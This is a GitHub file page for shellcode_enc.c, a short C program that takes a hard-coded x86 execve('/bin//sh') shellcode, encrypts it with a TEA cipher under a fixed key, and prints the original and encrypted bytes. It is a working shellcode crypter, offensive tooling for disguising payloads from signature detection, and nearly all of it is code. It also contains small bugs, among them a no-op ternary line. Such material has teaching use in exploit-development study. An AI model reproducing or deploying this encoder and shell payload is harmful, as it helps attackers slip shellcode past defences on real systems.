-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathshellcode_enc.c
More file actions
67 lines (48 loc) · 1.45 KB
/
shellcode_enc.c
File metadata and controls
67 lines (48 loc) · 1.45 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define BLOCKSIZE 8
void encrypt(long *v, long *k) {
unsigned long v0=v[0], v1=v[1], sum=0, i;
unsigned long delta=0x9e3779b9;
unsigned long k0=k[0], k1=k[1], k2=k[2], k3=k[3];
for (i=0; i < 32; i++) {
sum += delta;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
}
v[0]=v0;
v[1]=v1;
}
void encryptBlocks(char *dataptr_in, char *keyptr_in) {
int i = 0, blockcount;
long *dataptr = (long *)dataptr_in;
long *keyptr = (long *)keyptr_in;
blockcount = strlen(dataptr_in) / BLOCKSIZE;
blockcount = 0 ? 1 : blockcount;
while (i < blockcount) {
encrypt(dataptr + (i * 2), keyptr);
i += 1;
}
}
void printShellCode(char *shellcode) {
int i;
printf("Length = %d, Shellcode = ", strlen(shellcode));
for(i=0; i<strlen(shellcode); i++) {
printf("\\x%02x", (unsigned char)(int)shellcode[i]);
}
printf("\n");
}
int main(int argc, char *argv[]) {
unsigned char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
unsigned char key[] = "tiptiptiptiptip8";
char *str;
str = shellcode;
printf("[Original]\n");
printShellCode(shellcode);
encryptBlocks(str, key);
printf("[Encrypted]\n");
printShellCode(str);
printf("\n");
return 0;
}